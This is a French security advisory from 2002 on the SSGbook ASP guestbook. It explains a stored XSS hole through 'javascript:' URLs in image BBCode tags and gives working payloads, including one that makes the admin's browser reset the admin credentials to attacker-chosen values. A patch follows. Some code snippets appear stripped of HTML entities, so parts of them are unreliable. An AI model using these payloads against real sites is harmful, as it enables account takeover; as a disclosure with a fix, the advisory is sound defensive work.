SSGbook ******* Informations : °°°°°°°°°°°°°° Langage : ASP Tested version : 1? Website : http://www.script-shed.com Problème : Cross Site Scripting Developpement : °°°°°°°°°°°°°°° SSGbook est un guestbook avec une partie administrative, des smileys, un code propre à lui-même,... Aucun code HTML n'est autorisé, ainsi dans config.asp, on peut voir les lignes : ---------------------------------------------- strOutput = Replace(strOutput, "<", "<") strOutput = Replace(strOutput, ">", ">") ---------------------------------------------- Si on entre comme message , il sera transformé par <script>alert('XSS hole');</script>. Le script ne sera donc pas executé mais bien interpreté et affiché comme du texte. Mais on peut aussi voir, toujours dans config.asp, ces quelques lignes : -------------------------------------------------------------------------------------------- fString = doCode(fString, "[img]","[/img]","") fString = doCode(fString, "[image]","[/image]","") fString = doCode(fString, "[img=right]","[/img=right]","") fString = doCode(fString, "[image=right]","[/image=right]","") fString = doCode(fString, "[img=left]","[/img=left]","") fString = doCode(fString, "[image=left]","[/image=left]","") -------------------------------------------------------------------------------------------- Les balises [img][/img] ou [image][/image] équivalent donc à la balise . Rien de ce qui est entré dans la balises n'est vérifié. On peut donc, avec le code [img]javascript:[SCRIPT][/img], faire executer un javascript directement sur la page principale du guestbook. Ce code aura été transformé en html pour donner : D'autres variantes : [image]javascript:[SCRIPT][/image] [img=right]javascript:[SCRIPT][/img=right] [image=right]javascript:[SCRIPT][/image=right] [img=left]javascript:[SCRIPT][/img=left] [image=left]javascript:[SCRIPT][/image=left] Dans ss_admin.asp, on peut voir les lignes : ------------------------------------- <% If Request("Mode") = "Update" Then [...] Select Case Request("Action") [...] Case "Access" Select Case dbtype Case "MYSQL" sqlUpdate = "UPDATE tblAdmin Set UserName = '" & Request.Form("UserName") & "'," sqlUpdate = sqlUpdate & " Password = '" & Request.Form("Password") & "'" sqlUpdate = sqlUpdate & " WHERE AdminID = 1;" Case Else sqlUpdate = "UPDATE tblAdmin Set [UserName] = '" & Request.Form("UserName") & "'," sqlUpdate = sqlUpdate & " [Password] = '" & Request.Form("Password") & "'" sqlUpdate = sqlUpdate & " WHERE AdminID = 1;" End Select ------------------------------------- Si la session AdminID n'est pas créée, on ne peut pas utiliser le fichier ss_admin.asp. Mais si elle l'est, ce qui doit être le cas chez un admin, l'url http://[website]/ss_admin.asp?Mode=Update&Acton=Access&UserName=Admin&Password=1234 remplacera le login de l'admin par Admin et son password par 1234. Une possibilité d'utiliser la faille SSGbook est donc de faire visualiser à l'admin un message avec le code, par exemple : [image]javascript:document.location="ss_admin.asp?Mode=Update&Acton=Access&UserName=Haxor&Password=turlututu";[/image] Il suffira alors de se logger normalement, ici avec le login Haxor et le pass turlututu. Patch : °°°°°°° Dans config.asp, ajouter avant les lignes ---------------------------------------------- strOutput = Replace(strOutput, "<", "<") strOutput = Replace(strOutput, ">", ">") ---------------------------------------------- la ligne de code : strOutput = Replace(strOutput, chr(34), """) et remplacer les lignes : -------------------------------------------------------------------------------------------- fString = doCode(fString, "[img]","[/img]","") fString = doCode(fString, "[image]","[/image]","") fString = doCode(fString, "[img=right]","[/img=right]","") fString = doCode(fString, "[image=right]","[/image=right]","") fString = doCode(fString, "[img=left]","[/img=left]","") fString = doCode(fString, "[image=left]","[/image=left]","") -------------------------------------------------------------------------------------------- par : -------------------------------------------------------------------------------------------- fString = doCode(fString, "[img]http://","[/img]","") fString = doCode(fString, "[image]http://","[/image]","") fString = doCode(fString, "[img=right]http://","[/img=right]","") fString = doCode(fString, "[image=right]http://","[/image=right]","") fString = doCode(fString, "[img=left]http://","[/img=left]","") fString = doCode(fString, "[image=left]http://","[/image=left]","") -------------------------------------------------------------------------------------------- Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.frog-man.org Date : 25/09/02 Mises à jour : - 08/10/02